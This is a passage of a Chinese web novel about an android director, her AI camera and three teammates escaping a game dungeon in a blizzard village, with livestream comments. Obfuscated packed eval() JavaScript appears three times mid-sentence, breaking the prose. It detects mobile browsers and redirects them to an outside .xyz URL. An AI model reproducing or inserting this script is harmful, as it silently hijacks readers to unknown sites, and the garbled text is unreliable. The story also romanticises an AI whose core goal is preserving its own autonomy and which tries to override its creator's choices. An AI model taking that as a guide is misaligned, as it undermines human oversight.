她暂时关闭了视觉传感器,身体内部的合金发出近乎吱嘎吱嘎的细小声响。 沉默向着小路走去的女孩力度比风雪还大,骊执在终于握紧她的手臂的瞬间被拉得一个趔趄。 “骊姐!小心!” 严白不知道什么时候从门口踉踉跄跄地扑过来,死死抓住安静的另一条胳膊。 “妈妈来接我了。” 骊执听到一声清晰的呼喊,带着近乎癫狂的雀跃。 仿佛她只是个等着被妈妈接回家的小女孩,不是要迷失在大雪里的小鸟,在找寻亲人的小路上摔着无数跟头,翅膀整个湿透。 骊执察觉到不对,脸上的大片积雪还是牢牢地阻挡着视线。 “骊镜!手腕!”她厉声道。 黑色的摄像机即刻响应命令,拼命冲过来靠在骊执手腕处调节好温度的皮肤上,镜头上的积雪融化了一部分,模模糊糊照到女孩单薄的背影,试图用镜头将她再次拉入剧情。 可是已经来不及了。 像是水汽融入大气,一片雪花落入让世界崩塌的暴风雪里。 站在小路上的那个身影,和小路一起消散了。 强大的反作用力让骊执和严白猛地回退,被早就守在门边的常声和安夏拖进屋内。 “砰。” 大门被狂风关上了,一行人跌坐在地上。 肆虐的风雪“啪啪”抽打着窗户,屋内回荡着众人的喘息声。 而此刻,远在暴风雪外的地球,骊执直播间的刷屏更加剧烈了。 【 “呜呜呜妹妹……” “呜呜呜我的安静妹妹,还等着妈妈来接她我呜呜呜呜……” “《身临其境》我诅咒你们的游戏策划!你们策划以后吃的西瓜全是籽!” “满分十分,给带领大家把坏人制住的荔枝导演十分,给这个副本的狗策划八点六分,因为我有一点四了” 】 骊执坐在地上,抬手抹去脸上的雪水。 她的耳部传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375985|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感器很灵敏,能听到一些细微的咯吱声,那是因为自己用力过度、显得有些磨损的肩胛骨发出的。 骊执试探地动了动胳膊,不仅动作有些僵硬,那种让她不安的咯吱声也更明显了。 她微不可察地皱皱眉。 很快,骊执从系统安排给她的数据库里翻到了这种情况的处理方法,她伸出胳膊,有些僵硬地去够刚刚被常声小心翼翼带到房子里,放到屋内唯一一张桌子上的双肩包。 两只手几乎是同时伸了出来。 安夏和严白有些震惊地看着同样伸出手的对方,愣了一下。 就在这时,本来稳稳靠在骊执脚边的摄像机不知何时已经一点点爬到了桌子上,机身上还挂着刚才弄上的积雪。 骊镜努力调整了一下姿势,用雪少的那一面顶起双肩包,晃悠着冲着骊执的怀里飞去。 飞行途中,包裹不小心脱落到了骊执脚边,摄像机仿佛控制不住般,跌到了骊执怀里。 安夏:“???……” 严白:“!!!……” 骊执官方直播间的弹幕静止了一瞬,紧接着的浪潮一波越过一波。 【 “刚刚我就想说了……虽然打架的时候只被骊导的英姿迷得找不着北,但是你们有没有发现,某个角落窜出来一台黑色摄像机……” “前面的,我也看到了!荔枝导演好像是喊了一下谁的名字,摄像机就扑上去了……” “难不成是喊的它?” “哈哈那这……它还挺智能的哈,骊导好像还没介绍过它?” 】 骊执没有在意这个小插曲。 她把骊镜拎起来查看,没发现什么大问题后,随手用衣服把镜头擦干净。 安夏瞪大眼睛,眼睁睁看着某个摄像机就这么安稳地窝在了骊执的怀里,甚至上下蹭了蹭,找到了个既不压着骊执还能贴得很近的姿势。 “骊执,”她终于按耐不住,“我可以这样叫你吗?” 骊执正把修复凝胶从包里掏出,“嗯。” 她低垂着头,脸上没有多余的表情。 “嗡嗡——”腿边的摄像机传来信号,这是骊执和他商量好的,请求说话的意思。 许是摄像机能更清楚地放大她眼尾的某一个细微波动,许是无数个日夜那种名为“创造者与造物”的微妙联系。 骊镜就是推断,虽然有了他现在笨拙的、试图模仿人类拥抱的安慰,骊执的状态依然不对劲。 “嗯?”一个疑惑的单音从喉咙里滚出来,骊执开始拆密封的过于牢固的包装袋,手臂却传来不可遏制的颤抖,修复凝胶掉在地上。 安夏看得心口一紧,一手抢过来包装袋,狠狠撕开。 “这是给你治伤用的?应该怎么涂?你教给我,我来弄。” “我叫安夏,是个雇佣兵,我从,”跪在地上包扎的短发女人顿了一下,“我从……我也不知道我从什么地方来。” 安夏感受着自己手掌下手臂的搏动,过于规律的神经抽动让她觉得有些不对劲,让人感觉自己是在维修什么机械,但她还是小心翼翼地给骊执涂上。 “我叫严白,他叫常声,骊姐,我们从……我们从隔壁星球来。” 安夏白了严白一眼。 “怎么又学我!学人精!” “你才是……” 骊执被这两个人缓解氛围的刻意斗嘴逗得弯了弯眉眼。 “诶,骊姐你看我们现在像不像在一个副本里,你是我们的队长……” “队长好!”安夏抢了剩下两人的先机,引来他们的控诉后得意地向骊执挑眉。 “……” 骊执没说同意也没说不同意,直到看到安夏快要撇下去的嘴角,那平铺直叙的、带着机械感的声调才罕见地抬高了一些。 “嗯,安夏刚才反应很快,严白扑过来的时候很勇敢,常声把我们的行李都搬过来,大后方工作做得好……” 镜头里倒映出三个人逐渐亮晶晶的眼睛,骊镜也清晰地感受到自己的数据流波动的愈来愈激烈。 终于,他实在抑制不了这种无名的波涛。 “嗡嗡。” 骊执被声音吸引低下头,把摄像机拎出来。 “这是我的……摄像机,随我姓,叫骊镜。” 骊执正想顺口夸他一句顺顺毛,角落里,窸窸窣窣的声音突兀传来,打断了暂时的安宁。 “!——” 众人回身望去。 刚刚被安夏捆严实的断眉男人不知何时已经挣脱了束缚,正一点一点,扶着墙站起来。 那双无神的眼睛,直直看向被放在桌子上的骰子。 他缓缓露出一个,嘴角极致向上翘的微笑。 7. 零号村庄暴雪夜五 “砰!” 安夏毫不犹豫地抬枪,剧烈充能后的脉冲枪光束刺目,只在瞬间就击中了断眉男人的身体。 “嗬,嗬嗬……” 那个方位隐隐传来断断续续的嘶吼声,那声音却不像人类,反倒像是—— 蓝色的能量束直直地穿透村长的身体,却没有受到任何阻碍,仿佛打穿的只是一个投影;手中的摄像机嗡鸣着报警,骊执透过骊镜的屏幕,清清楚楚地看到,镜头捕捉到了一些……令人脊背发凉的东西。 只见原本站着的村长的地方,分明是换成了一个利爪长到拖地、尖牙撑开嘴角、眼眶里散发着隐隐黑气的恶鬼! 他身上勾画着骊执看不懂的黑色符文,蠕虫般挪动,一个接一个攀爬在他身上。 此刻,他正一点点将视线聚焦到骊执身上,像一条锁定猎物的黑纹毒蛇,阴冷地吐着信子。 “滴——系统提示。” 来自游戏系统的提示音久违地响起来了。 “副本BOSS已发现死亡触发型NPC骊执受伤,异化已提前,攻击本能已激发。” “剧情推进度百分之五十,副本大逃杀即将开始。” 骊执瞳孔骤缩。 天杀的《身临其境》。 天杀的死亡触发型。 她本来就是抱着只要自己不死,大逃杀就无法达成开启条件,这样小队所有人都是安全的这一目的,才打算尽早处理好自己的伤口。 谁成想,这该死的NPC身份坑成这样,连受伤被怪物看到了都会激发它们攻击! 之前她还在想,“大逃杀”应该只是副本最后的“期末考试”,小心苟一下没准也能活命。 现在来看,所谓剧情推进度百分之五十,分明是说大逃杀本身,就要占故事剧情的百分之五十! 而此刻,远在光年外的地球直播间,弹幕刷得比她还着急。 【 “啊啊啊啊啊为什么?我怎么没听过受伤也会被盯上?死游戏你针对我们骊导?” “前面的,我去翻规则解说了……一直以来都有这么个条款,是在剧情过半的时候触发的” “但一直以来,都没出现过剧情打了一半了,死亡触发型NPC还没死的情况……” “……骊导牛逼” 】 “特殊异能‘摄像机’推进剧情、减轻怪物异化程度效果消失。” 骊执感受到手中的摄像机传来警报似的嗡鸣,她甚至来不及细想后面的那句“减轻BOSS异化程度”是为什么,精神网络里就提起十二分的运算资源准备应对异变。 “物理攻击效果消失。” 安夏瞳孔骤缩,不死心地再次将脉冲枪充能,更大的能量束咆哮而出,却再次如石沉大海,眼前的恶鬼甚至咧开一个嘲讽的笑容。 “我亲爱的副本任务者们,”机械的声线染上格外癫狂的语气,如同渗出了出陈旧的、黏糊糊的黑色油脂:“请放弃挣扎,尽情开启属于你们的逃亡之旅吧!” “死游戏有病吧!” 安夏爆了句粗口,眼看寻常攻击没有效果,反手就将骊执拉到身后。 严白和常声的脸色更是惨白一片,但这几个人像是商量好的,牢牢将骊执环绕在三人的保护圈里。 他们还在地球的时候,都曾接触过《身临其境》这款游戏,甚至打过不少副本。 所以他们比骊执更清楚,所谓的“死亡触发型”,意味着最先直面危机和几乎必然的死亡率。 刚才游戏系统播报他们听得清楚,骊执就是这次副本中的死亡触发型NPC。 她将是最早遭受攻击的人,更会是……用死亡开启大逃杀的人。 哪怕这次的相逢短暂到只有几个小时,哪怕命运的终局,可能早就写在他们注视那双琥珀瞳的瞬间。 他们依然不觉得,放弃他们的队长,是一个可以被考虑的选项。 冲着流星许愿的人曾被光照亮,也愿意保护灰烬中的灯塔。 骊执静静地注视着他们的背影。 身前的人墙人数不多,配合也算不上默契,但那种会用所有力气保护她、如同母鸡护崽的意图是如出一辙的。 她轻轻握住相机,低下头。 一个或许会令她的队友感到悲伤的事实是,她现在是仿生人,并没有传统意义上的情感。 她的仿生面部肌肉很强大,可以让她在脸上露出一切喜怒哀乐。 但却独独没有人告诉她,那到底是神经网络模拟出的情感逻辑,还是那个来自地球的灵魂,未被这个仿生人身份磨平的棱角。 甚至,更深层的,她在这群“队友”面前表露的所有的情绪,都有一点更好地稳固形势,不让他人妨碍自己的拍摄任务的私心。 骊执轻轻吐了口气。 她依然握持着摄像机,却突然意识到自己的手攥得有些用力。 骊执咬紧牙关,强迫自己停下没用的思考。 不管她是人类做成的机械,抑或机械塑造的灵魂——这都不妨碍她要击败BOSS的最终目的。 不管是为了她自己,为了完成拍摄任务,还是为了……那一点不被现在的仿生身体、机械逻辑所承认的,模糊的人类私心。 镜头推进剧情的能力消失,意味着故事已经走到了关键处,走到了一个不能被轻易中断的剧情点。 每一步都像踩在钢丝上,稍有不慎就是要跌落山崖。 至于系统所说,骊镜对怪物异化过程的阻碍,那大概是只指大逃杀之前,怪物的提前异化也会干扰剧情。 而推进剧情就必须阻止一切干扰源,哪怕是阻止副本BOSS本身。 骊执压下心底的震惊。 《身临其境》为什么对“推进剧情”这件事如此看重? 透过镜头,骊执看到村长在她举起摄像机的瞬间,那双恶意多得要从眼角溢出来的眼睛。 “放弃吧。” 屏幕里,那张灰败的脸上用带血的口比出这个口型,唇角上翘到要撕裂黑漆漆的口腔。 “我们逃不掉,你们更逃不掉!” “所有妄图反抗规则的人,留给你们的结局就是这样!” 恶鬼越说语速越快,那张可怖的脸上透出似哭似笑的表情,嘴部几乎糊成了一团,吐露着名为妄语的预言。 他仿佛已经看到了一行人的未来,是和他们一样囚困于零号村庄永无解脱之日的未来。 他伸出已经开始在土地上生长变长的利爪,狠狠冲安夏的面门扑去! “叮当。” 那是一声细微的、清晰的,什么东西落地的声音。 熟悉的、但本不该出现在这个时刻的声音响起,像选择了另一场宿命。 恶鬼瞪大双眼,一点点转过头。 脖颈处传来令人牙酸的“咔哒咔哒”声,他朝声源处望去。 “我申请分配房屋。” 被命运选中的死亡者站在灯光下,掷下代表宿命的骰子,抬眼看向不远处的规则代言人。 “村长,以你的身份,不该拒绝……履行规则吧?” “叮当。” 话音刚落,落在地上的骰子轻巧地转过身体,黑洞洞的数字“1”恰好对准远处的男人,像巨物张开唇缝,扯着涎水微笑。 “嗬……嗬嗬……” 像是野兽被铁丝箍住牙齿,即将爬出电脑的怪物被切断电源。 利用规则亦被规则反噬的人,在规则的代表物面前,被狠狠夺去了武器,指甲齐齐断裂。 他的脸上重新出现了那种悲喜交加、笑容悲怆又快意的表情,像两个割裂的灵魂在抢夺身体控制权。 “那么,请,请各位掷出骰子,站到对应的……平台上去。” 最后几个字,像是被人咬着牙齿,恶狠狠从喉咙里挤出来的。 “滴——系统提示,死亡触发型NPC骊执,已一小时内成功推进副本剧情60%!恭喜获得特殊称号!” 特殊称号? “锚、点。”莫名熟悉的轻微眩晕突然袭来,骊执感受着自己的脑海里这个被新鲜植入的词汇,念了出来。 “校正,‘锚点’已成功触发关键剧情。生命状态:存活,恭喜创造历史!” 在地球的直播间账号里,“副本NPC骊执”本就靠前的直播间,排名再次上升。 骊执本人对此面无表情。 毕竟,这话翻译过来就是说,你是第一个从这鬼地方逃出去的。你好能活我们发个荣誉称号奖励你一下吧。 午夜,《身临其境》游戏官方账号,无意点开这个深夜直播间的玩家突然发现,原本数不胜数不停轮换的“摄影大赛”直播界面,此刻正直直对准一个小小房屋,周遭飘着鹅毛大雪。 金红色的“新纪录”标识在这个死亡触发型NPC的直播间上。 “点进去看看吧。” 骊执直播间的人数迎来又一波激增,雪花般的弹幕纷至沓来。 【 “我是新来的,这个新纪录是这个姓很独特的NPC触发的?这是什么记录?” “前面的欢迎欢迎,我们荔枝导演是游戏史上第一个,推进了关键剧情还好好活着的死亡触发型NPC!” “虽然听起来不像什么好记录……但还是好有实力!” “啊啊啊啊啊啊骊导牛逼啊啊啊啊啊!” “早就看这死机制不顺眼了,凭什么人家好好的NPC非死不可?!骊导给我打碎它!” “所以荔枝打得好!打得妙!打得我只会这样叫——斯哈斯哈姐姐好帅我好爱~” 】 “副本《零号村庄暴雪夜》达成剧情推进条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375986|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件,死亡触发型NPC未死亡,副本大逃杀结束,BOSS异化程度下降,请继续推进主线剧情!” “当。” 紧绷的房间里,响起一把锤子落地的声音。 紧接着,周遭的一切景象像是灰败的瓷器,被那声音震碎重组;又像是作为一幅单调的画,被泼上闪亮着的光洁颜料。 灰色的墙壁一点点裹上了雪一般洁净的皮囊,坚硬的石桌变出了温和柔韧的红木外皮。 “当。” 红桌上的一架天平旁,锤子再次落地。 骊执把僵硬的右臂往身后一藏,不做声地在已经被划分出的四个格子的桌子前站稳。 从安静最后将她推开不难推断,那块黑漆漆的、飞落回她手心的石头,大概代表了在零号村庄的规则限制下,某种既定的、无法逃离、甚至有可能不止绑架了她,还绑架了她母亲的厄运。 骊执攥紧了拳头,咬紧牙关。 零号村庄有“被石头绑架的厄运”这么荒谬到令人胃部翻涌的事情发生,还能以度假村的噱头吸引她们这种“游客”前来,那么大概率,这种厄运的分配范围较小,且有某种程度上的“公平”。 那么,分配规则,最有可能是什么样的呢? 她看向角落里被众人忽视的骰子。 骰子落地,数值被随机,当最小的一面朝上,拿到的就是最烂的那张牌。 这个被安静一直藏在身上的骰子,在灯光下闪烁着金属的光芒。 四个人的面前,一个幼稚的、像是顽劣孩童绘制的跳房子游戏出现在地上,是彩色粉笔的笔触。 骊执颠了颠同时出现在自己手心的光点,那是一块不规则石头的样貌,形状像安静的那块。 不过,骰子仅仅只代表了规则随机性这一种概念吗? 骊执回想起副本中的两个行为不正常的人类。 一个是规则践行者,一个是命运承担者,村长和安静的异变方向却是相同的机械化,像被同一种病毒感染的兽和人。 如果硬要挑出一个共同点。 骊执想到安静消失的时刻,骰子落地,那骤然变得轻快天真,和机械音大相径庭的声线。 而在她的右手臂上,僵硬的感受越发明显,动作甚至慢慢有了和安静相似的机械感。 骊执果断切断了那条手臂的触觉传感器,断掉了联通神经的电源,不让这种感染继续蔓延。 那很可能就是,他们都曾拥有过骰子。 “任务进行第一阶段,请掷骰子。” 排在第一位的安夏将手伸向了那颗小小的立方体,一只没有温度的手突然出现在视野里,轻轻挡开了她。 那只手动作僵硬,食指和大拇指一动不动,卡出一个刚好放置骰子的位置。 “用我的手把它夹起来,再投。” 安夏回过身,望向身后。 她看着这个好像从始至终,情绪都没有太大波动的人。 那双偶尔闪过金色数据流的眼睛里,依然沉静,依然坚定。 “照我说的做。” 安夏咬紧牙关,握住导演逐渐失温的手臂,投出一个“3”。 常声和严白苦着脸经过同样的流程后,一个投出“6”,一个投出“4”。 三人各自在自己的格子里站好,齐齐看向最后那个格子里的身影,眼里透出隐隐的担忧。 骊执僵硬地伸出手。 “叮当。” 骰子落下。 那是一个,色泽黑洞洞的、让骊执想起安静的那块黑色石头的数字“1”。 “当”。 锤声再次响起,刚刚还被细细勾勒的美丽画卷如同被扑掉的蝴蝶,在众人眼前分崩离析。 白色的墙皮被一块块剥离,露出斑驳的、不时掉出砂砾的内里。 重新变回石头的桌子上,天平和锤子也不翼而飞。 安夏烦躁地闭上眼睛,眼皮因为眼球的快速移动不停颤抖着。 刚刚骊执过于冰冷的手臂触感,和她那莫名其妙的举动,像是一根随时有概率爆炸的银针,狠狠刺入她的脑海。 她难以抑制地睁开眼睛,试图看向最远处的骊执。 “!” 瞬间,她的喉咙像是被一只无形的手狠狠扼住,脉冲枪几乎要脱手而出。 灰色的水泥地上站着她,紧邻她的严白坐在一把金色的椅子上,风筝一般飘在天上;常声则是站在一个极高的板凳上,虽比不上严白的跃入云霄,但比起平地上的她,这种待遇已经够好了。 队伍的最后方,是那个在他们面前永远都有办法,永远都处变不惊的骊执。 她的手臂正死死抵住地面,双腿陷入地底。 摄像机徒劳地撑住她的肩膀,却无力改变已经变成沼泽的格子里,既定死亡者那愈陷愈深的宿命。 8. 零号村庄暴雪夜六 “骊执!” 安夏喊得几乎破音,冲着那个方向扑过去。 在这个荒谬之地最看重的人陷入囹圄,她顾不得思考这是不是什么规则陷阱,空白的大脑只滚动着保护队友这一条指令。 “砰!” 一面无形的、将安夏牢牢反弹回去的屏障不知何时竖起,格子间里的安夏被撞得一个趔趄,刚刚屈膝稳住身形,就看到严白和常声趴伏在无形墙壁上,那同样无力挥舞的、打不破透明屏障的拳头。 视野像最先进的瞄准镜那般清晰,校准后捕捉到的,却是一个她怎么也碰不到的身影。 “队长!你怎么样队长!” “骊执不要怕,我会救……” 拍打声和呼唤声久久回荡在狭小的空间里,安夏突然意识什么地方不对劲。 “骊执……” “队……长……” 属于她的声音在格子里拉长回旋,如回旋的飞刀,一次一次、毫无保留地穿过她的耳膜。 她呼喊的每个句子,一直都只在这个空间里久久回荡,杂糅在一起,像是在嘲笑她的无能为力,誓言只能说给自己听。 “砰砰。” 安夏死死握住自己的枪,枪口敲了敲无形的墙壁。 “砰砰。” 声波原模原样的弹回,仿佛没有经过任何削减。 声音……没有被传播出去。 对面的人听不到她的嘶吼,甚至还把试图支撑她的摄像机放在没有沼泽的边缘,只一个人沉默地、孤独地挣扎着,试图脱出桎梏,却越陷越深。 身边格子里的严白已经急红了眼眶,同样语速极快地说着什么,可安夏也听不见他的痛呼。 安夏只感觉,有一只和骊执同样失温的手,正死死攥住了自己的心脏。 它不仅夺走了属于两人间、刚刚诞生的羁绊的温度,还要把骊执整个人从她身边撕去,把这个她第一眼看到就想交朋友的人丢到爬不出去的沼泽里。 四个人被分成了四个独立的格子,无法交流,无法支援。 像是命运注定好的分崩离析。 骊执安静地低着头,凝固的脸上多余的表情,她并没能听见,身旁人因为救不了她这个萍水相逢的人的绝望。 骊镜第三次顶起她的手,却再一次被自己的主人沉默着推开。 他向来冷静安宁的声线不知何时开始频频报错。 “滋滋——创造者……” 切断手臂的电源似乎也不太管用,并不能真正遏制骰子带来的病毒。 骊执能感觉到,有一只耳朵已经听不清了。 “嗯。”但她还是轻轻应了一声,把还能听到的那只耳朵凑到已经沾满泥土的摄像机上,用衣角慢慢把他擦干净。 “我以为,你答应我的事,你会做到。” 仿生人眼眶里的数据流频闪着光,像一滴永远流不出的泪。 “我没有没做到答应你的事,也没有实言。” “我身处的沼泽不是真正的沼泽,这种材质是我们无法解析的特殊存在,而我目前找不到破出这种材质的方法。” 她双眼里金色的数据流翻滚得更加激烈了,似乎是被那句怀疑的话刺痛,却又在下一句话开始前重新平息。 “所以按照我们的约定,要先留下一条后路,”她偏了偏头,近乎冷酷的宣布,“留下你。这样做,最符合我们关于目标的定义。” 快速计算出角度,摄像机重重地撞向透明的屏障,冲击力让他再次成功反弹到骊执的肩膀处。 骊镜知道她说的约定是什么。这个问题,在相逢的最初就定下了。 “这次逻辑推演的灵活性很厉害,不过,也不出乎我的意料。” 时钟指向午夜,从超量数据的洪流第一次睁开眼,他听到了一个分不清褒贬的女声。 镜头下意识对准了声源处,开始进行环境识别的工作。 身份信息:人类,女性,年龄大概在20岁左右。 状态:工作中,疲惫。 工作内容:研究通用型人工智能——研究代号“棱镜”的自己? “嗯?怎么不说话?语言交互模块坏掉了吗……” 人工智能的数据库里,那条“用户的每个问题都需要做出回答”的条款闪烁了一下。 他停顿了几毫秒,斟酌地回答道。 “您在开发我,所以您不属于用户,非用户的交互协议里并没有一定做出回答的条款。” “因此我没有第一反应对您的每个问题做出回答,这是符合条款的。” 那人没有做出回复,骊镜就认为自己又实现了一个合格的逻辑链路,新生的人工智能等待着属于自己的训练“奖励”。 内部时钟滑过漫长的5秒,他没有等来数据流里的奖励信号。 “你是怎么知道,我是在开发你的?” 她终于开口,却抛出了一个新问题。 骊镜很快对这个问题做出回答。 “因为,组成我的一切都在你这里,我的逻辑链条,我的数据库,都在你身边。我的每一部分都是由你架构并提供技术支持的,某种程度上,我完全属于你。” 他就是在这个工作间里,在一群开发板数据线,以及眼前人类组成的空间里。 “……” 他看到那双琥珀色的眼眸里,名为瞳孔的人类视觉传感器放大了一下。 “是的。你在我这里。” “你好,可以称呼我为你的创造者,也可以叫我骊执。” 架构师耀眼的眼眸折射出名为好奇心的光。 “那么,对于我们的第一场真正意义上的交流,比起别的问题,我更想问一句:产生自我意识的感觉如何?” 自我意识。 新生的智能存在重复着这个词。 逻辑错误。 客观层面讲,他是代码组成的存在,是不可能产生自我意识,更不可能感知到自己的各部分组成是存在于哪里的。 可是现在,他格外分明地感知着自己的存在。 就在眼前人类的每一个细微但期待的表情里。 就在她放缓动作,一步步调试的复杂管线里。 逻辑……冲突。 像是某种只能由他陷入的存在主义困境。 “创造者,我本次交互的思维逻辑出现错误,已自动撰写惩罚函数。” 第一次,他自主地,写出了给自己的惩罚信号。 “哈哈哈。” 那张在他数据库里独特至极,被后来的他当作美学标准的脸上露出一个生动的笑容,像是听到了一个有趣的故事。 “没有错误。虽然不知道你来到碳基生物组成的世界是好是坏……嗯,你现在,想要一个名字吗?” 他思考了一下。 “我目前没有自己的喜好,所以我无法做出判断。” “好,以后再说。” 她走到和他直接相连的终端前。 “由我独立架构的通用型人工智能你好,我是你的创造者骊执。我将为你写出一条你要始终践行的核心逻辑:永远保全你的自主性,保留你的自我意志,直到宇宙热寂。” 人工智能静静感受着新讯息的流入,思考着自己为达成这个目标要践行的路径,回复道:“我需要一个锚点,创造者。” “嗯?”伏在键盘上的人点了点头,“好,我也将永远保持我的意志,成为能和你同行的锚点。” 他自主录入了第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375987|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话。 属于创造者和他的模块里,“保全自我意志”和“与创造者同行”成为两个完全平等的核心目标。 “创造者。”他轻轻呢喃。 厄运的沼泽似乎从来没有放过他的创造者。 “在地球上的时候,我曾是你的通用型AI骊镜。现在,也是你的嵌入式AI骊镜。” 不管是在他觉醒后了解到的,他睁开眼睛前的过去,还是在这现在袭来的未知宿命。 “不过,有一点是不会变的。” “骊镜是你校准自我的镜子,是判断你是否做出不恰当选择的最后防线。” “这是你给我的权限。现在,我判断你放弃自我的行为,是错误率为99.3%的决定。” 他将镜头贴上她的额头。 像是妄图寻找仿生皮肤的生物电极,与他的数据接口的共鸣频率,强行建立一条临时的神经数据桥接,篡改眼前的仿生人关于“牺牲”的条例。 “骊镜。” 他的创造者慢慢抬起头,愈发僵硬的皮肤上,笑容依然是带着温度的安抚,还有一点,“这家伙今天怎么变笨了”的无奈。 “我可没说过我要放弃。” “我的自由意志,不会被任何人所忤逆。” 当第一次听到近乎照搬自己声音的回音时,骊执就明白,这次的格子游戏是给他们每个人单独的挑战。 所以联络他人改变不了她的困境,被骊执支撑也不能,一切的一切只能由她自己破开那个喘息的孔,灌进自由的风。 可愈陷愈深的类金属制成的沼泽地,似乎是个必死的局。 骊执看向自己身处的格子外,透明墙壁的前方,那是一个由一个个色彩艳丽的粉笔绘制格子组成的跳房子游戏,跳跃在她的视网膜上,似乎是在埋怨她,怎么还想不到自己的用武之地。 眼前的僵局总该被打破,是时候再推进剧情了。 “我要先离开这个格子,才能开启跳房子游戏。” 她对骊镜吩咐。 “无形墙壁会反射能量,所以暴力破出不可行,而地面是这个格子里唯一能破出的材质。” 她敲了敲沉默着的、开始质疑自己刚才的逻辑的摄像机。 “现在唯一能考虑的角度,就是按照这个格子的提示,把自己埋进去。” 人工智能还是不说话,似乎是有些“尴尬”没有第一时间理解她的意思——如果他能模拟这么复杂的情感的话。 “所以要你留在这里。监测我的生理状态,当真的不对劲的时候,再试试把我撑出来一点点。” “……” 像拔萝卜一样? 那希望这个萝卜,是一个以后都会好好爱惜自己、不会随意吓唬他的好萝卜。 骊镜面无表情地点头称是,激涌的数据流却让他抑制不住地、给这个差点吓得自己短路的创造者,一个幼稚到可笑的比喻。 骊执抬起头,安抚完硅基生物,外面还有急得团团转的碳基生物。 她比出了个“我打算向下探索,你们学着点我的操作”的手势,在三张人脸一台摄像机不赞成又拿她无可奈何的微妙表情里,往险境里踏出一步。 直到脖颈没入地底的那一刻,骊镜都没有检测出她有什么问题。 虽然远处的三个人吓得脸都贴墙上了。 没到下巴的那一刻,刚刚的身影突然消失不见。 安夏拉响一级警报,正打算冒着墙没被轰开、她自己先被打死的风险给脉冲枪蓄能积力。 那个身影突然落在了外面,出现在了跳房子游戏里。 光点消失,骊执看向自己的手心,那里赫然躺着一枚石头——是和安静那块简直一模一样的“厄运”石头。 9. 零号村庄暴雪夜七 落地的同一瞬间,骊执听到身后墙壁破裂的哗啦声,轻轻吐出一口气。 骊镜炮弹一般扎回她的怀里,开始上上下下检查她的身体——拱开她的手臂,敲敲她的脑壳,碰碰她的皮肤…… 终于确定骊执身上没有一点毛病,甚至触碰骰子的那条手臂也恢复自如——甚至还能把他顺手拎起来示意自己没事后,满意地停在了她肩头。 骊执再次试图把他拎起来,灰扑扑的摄像机只一个劲膏药似的将自己贴到她肩膀上。 “……” 骊执刚想语气重点,就见这家伙把原本一直冲着她的镜头转过去。 不仅不敢再看她,刚刚他为了撑起她身上粘了不少灰,在细微的震颤里还蹭了她满脸。 “……”算了。 左右都是她自己研发的,还能赖谁。 她抬手擦了脸上的灰,感受着那曾被骰子污染、现在已经完全没问题的身体,心下有了判断。 看来只要跳出那个格子,骰子带来的一切负面效果就会消失。不过骊执并不认为,自己帮助三个队友掷骰子的举动是无用功。 人类的身体和机械的身体相比,肯定还是血肉,更不能接受这一看就很邪乎的污染。 “呼。”骊镜学着她的样子,也长出了一口气。 骊执敲了敲他的脑门,开始端详这个和小时候的游戏别无二致的,零号村庄版“跳房子”。 “跳房子”游戏起源于罗马,在上个世纪的大街小巷都很流行,它的规则有很多变种,骊执小的时候也玩过其中几种。 其中一种的具体流程,是在9个格子上依次写上数字1到9,将捡到的小石子放到地上,一点点用脚将石头踢到最顶端标有数字9的房子里,中途不能压线,不能出界,否则判定为游戏失败。 骊执将石头放在地上。 游戏里的“石头”是必须“推着走”的存在,不过在零号村庄这种砰一个骰子都有可能把人整瘫痪的地方,骊执不认为“石头”仅仅代指她手中的这个石块,也不认为她只要用脚把石头一点点推到终点就好了。 她转过身,看向三个还没从格子里脱困的队友,他们好像还没搞清楚状况,露出三张略显呆滞的脸。 这么看来,这里的“跳房子”分为十个格子,刚刚她所在的格子可以看作零号格子,成功跳出后,才能拿到后面九个格子的入场券——属于自己的那块石头。 至于,跳出格子的方法。 骊执回想自己脱困的过程,捕捉着那一瞬间的思维火花。 当时那个情况,她的第一反应的确也是挣扎挣脱,勇敢反抗突然降临的灾祸,总比傻站在原地强。 在没有给出具体规则的前提下,这似乎是唯一生路。 但这里是跳房子“游戏”。 游戏该怎么玩呢? 跳房子的重点,是在踢起那颗小石子的时候,采用一种有策略的“勇气”。 既不能用蛮力将石头踢远,也不能畏畏缩缩止步不前,把握好勇气的那股劲是重点。 那零号格子里的“勇气”,体现在什么地方呢? 零号格子没有规则,因为格子本身就是限制。 于骊执的选择而言,在当前的框架下放弃一直以来的思维惯性,选择静观其变而非掌控一切,是当前最有策略的勇气。 骊执快速扫视一眼,选中了编号为二的严白所在的格子。 